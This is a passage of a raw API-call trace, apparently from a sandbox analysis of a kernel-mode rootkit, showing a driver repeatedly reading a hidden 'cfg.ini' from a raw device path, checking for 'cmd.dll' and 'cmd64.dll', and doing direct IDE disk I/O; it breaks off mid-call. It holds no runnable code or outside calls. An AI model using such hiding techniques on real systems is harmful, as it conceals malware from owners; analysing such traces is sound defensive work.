[0130.001] KeLeaveCriticalRegion () [0130.001] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.002] KeEnterCriticalRegion () [0130.002] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.002] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0130.002] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c083e0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0130.002] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.002] KeLeaveCriticalRegion () [0130.002] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.002] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.002] KeEnterCriticalRegion () [0130.002] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.002] ExFreePoolWithTag (P=0xfffffa8003c08320, Tag=0x0) [0130.002] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.002] KeLeaveCriticalRegion () [0130.002] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.002] ReleaseMutex (hMutex=0xf0) returned 1 [0130.002] Sleep (dwMilliseconds=0x124f80) [0130.016] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0130.016] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0130.016] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.016] KeEnterCriticalRegion () [0130.016] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.016] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.016] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0130.016] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.016] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0130.016] IdePortDispatch () returned 0x103 [0130.016] KeWaitForMutexObject () returned 0x0 [0130.017] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.017] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.017] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.017] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0130.017] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0130.017] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c07920 [0130.017] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.017] KeLeaveCriticalRegion () [0130.017] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.017] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.017] KeEnterCriticalRegion () [0130.017] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.017] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.017] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.017] KeLeaveCriticalRegion () [0130.017] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.017] KeEnterCriticalRegion () [0130.017] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.017] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.017] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0130.017] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.017] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0130.017] IdePortDispatch () returned 0x103 [0130.017] KeWaitForMutexObject () returned 0x0 [0130.017] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.017] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.017] KeLeaveCriticalRegion () [0130.017] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.017] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.017] KeEnterCriticalRegion () [0130.017] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.017] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d0e000 [0130.017] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.017] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0130.017] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.024] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0130.024] IdePortDispatch () returned 0x103 [0130.024] KeWaitForMutexObject () returned 0x0 [0130.025] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.025] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.025] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0130.025] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.025] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0130.025] IdePortDispatch () returned 0x103 [0130.025] KeWaitForMutexObject () returned 0x0 [0130.025] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.025] KeLeaveCriticalRegion () [0130.025] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.025] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.025] KeEnterCriticalRegion () [0130.025] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.025] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.025] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.026] KeLeaveCriticalRegion () [0130.026] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.026] KeEnterCriticalRegion () [0130.026] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.026] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0130.026] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c083e0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0130.026] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.026] KeLeaveCriticalRegion () [0130.026] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.026] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.026] KeEnterCriticalRegion () [0130.026] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.026] ExFreePoolWithTag (P=0xfffffa8003c07920, Tag=0x0) [0130.026] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.026] KeLeaveCriticalRegion () [0130.026] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.026] ReleaseMutex (hMutex=0xf0) returned 1 [0130.026] Sleep (dwMilliseconds=0x124f80) [0130.041] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0130.041] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0130.041] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.041] KeEnterCriticalRegion () [0130.041] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.041] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.041] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0130.041] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.041] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0130.041] IdePortDispatch () returned 0x103 [0130.041] KeWaitForMutexObject () returned 0x0 [0130.042] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.042] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.042] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.042] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0130.042] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0130.042] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c07920 [0130.042] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.042] KeLeaveCriticalRegion () [0130.042] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.042] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.042] KeEnterCriticalRegion () [0130.042] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.042] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.042] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.042] KeLeaveCriticalRegion () [0130.042] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.042] KeEnterCriticalRegion () [0130.042] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.042] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.042] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0130.042] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.042] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0130.042] IdePortDispatch () returned 0x103 [0130.042] KeWaitForMutexObject () returned 0x0 [0130.042] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.042] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.042] KeLeaveCriticalRegion () [0130.042] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.043] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.043] KeEnterCriticalRegion () [0130.043] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.043] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d13000 [0130.043] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.043] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0130.043] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.043] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0130.043] IdePortDispatch () returned 0x103 [0130.043] KeWaitForMutexObject () returned 0x0 [0130.043] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.043] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.043] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0130.043] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.043] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0130.043] IdePortDispatch () returned 0x103 [0130.043] KeWaitForMutexObject () returned 0x0 [0130.043] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.043] KeLeaveCriticalRegion () [0130.043] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.044] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.044] KeEnterCriticalRegion () [0130.044] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.044] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.044] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.044] KeLeaveCriticalRegion () [0130.044] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.044] KeEnterCriticalRegion () [0130.044] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.044] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0130.044] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c07c80, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0130.044] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.044] KeLeaveCriticalRegion () [0130.044] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.044] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.044] KeEnterCriticalRegion () [0130.044] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.044] ExFreePoolWithTag (P=0xfffffa8003c07920, Tag=0x0) [0130.044] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.044] KeLeaveCriticalRegion () [0130.044] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.044] ReleaseMutex (hMutex=0xf0) returned 1 [0130.044] Sleep (dwMilliseconds=0x124f80) [0130.060] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0130.060] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0130.060] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.060] KeEnterCriticalRegion () [0130.060] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.060] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.060] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0130.060] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.060] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0130.060] IdePortDispatch () returned 0x103 [0130.060] KeWaitForMutexObject () returned 0x0 [0130.060] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.060] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.060] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.060] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0130.060] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0130.061] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c08470 [0130.061] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.061] KeLeaveCriticalRegion () [0130.061] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.061] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.061] KeEnterCriticalRegion () [0130.061] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.061] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.061] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.061] KeLeaveCriticalRegion () [0130.061] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.061] KeEnterCriticalRegion () [0130.061] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.061] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.061] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0130.061] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.061] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0130.061] IdePortDispatch () returned 0x103 [0130.061] KeWaitForMutexObject () returned 0x0 [0130.061] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.061] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.061] KeLeaveCriticalRegion () [0130.061] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.061] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.061] KeEnterCriticalRegion () [0130.061] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.061] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d18000 [0130.061] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.061] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0130.061] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.061] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0130.062] IdePortDispatch () returned 0x103 [0130.062] KeWaitForMutexObject () returned 0x0 [0130.062] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.062] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.062] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0130.062] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.062] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0130.062] IdePortDispatch () returned 0x103 [0130.063] KeWaitForMutexObject () returned 0x0 [0130.063] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.063] KeLeaveCriticalRegion () [0130.063] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.063] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.063] KeEnterCriticalRegion () [0130.063] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.063] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.063] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.063] KeLeaveCriticalRegion () [0130.063] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.063] KeEnterCriticalRegion () [0130.063] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.063] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0130.063] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c080c0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0130.063] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.063] KeLeaveCriticalRegion () [0130.064] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.064] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.064] KeEnterCriticalRegion () [0130.064] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.064] ExFreePoolWithTag (P=0xfffffa8003c08470, Tag=0x0) [0130.064] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.064] KeLeaveCriticalRegion () [0130.064] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.064] ReleaseMutex (hMutex=0xf0) returned 1 [0130.064] Sleep (dwMilliseconds=0x124f80) [0130.080] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0130.080] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0130.080] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.080] KeEnterCriticalRegion () [0130.080] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.080] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.080] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0130.080] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.080] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0130.080] IdePortDispatch () returned 0x103 [0130.080] KeWaitForMutexObject () returned 0x0 [0130.080] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.080] _strnicmp (_Str1="cmd.dll", 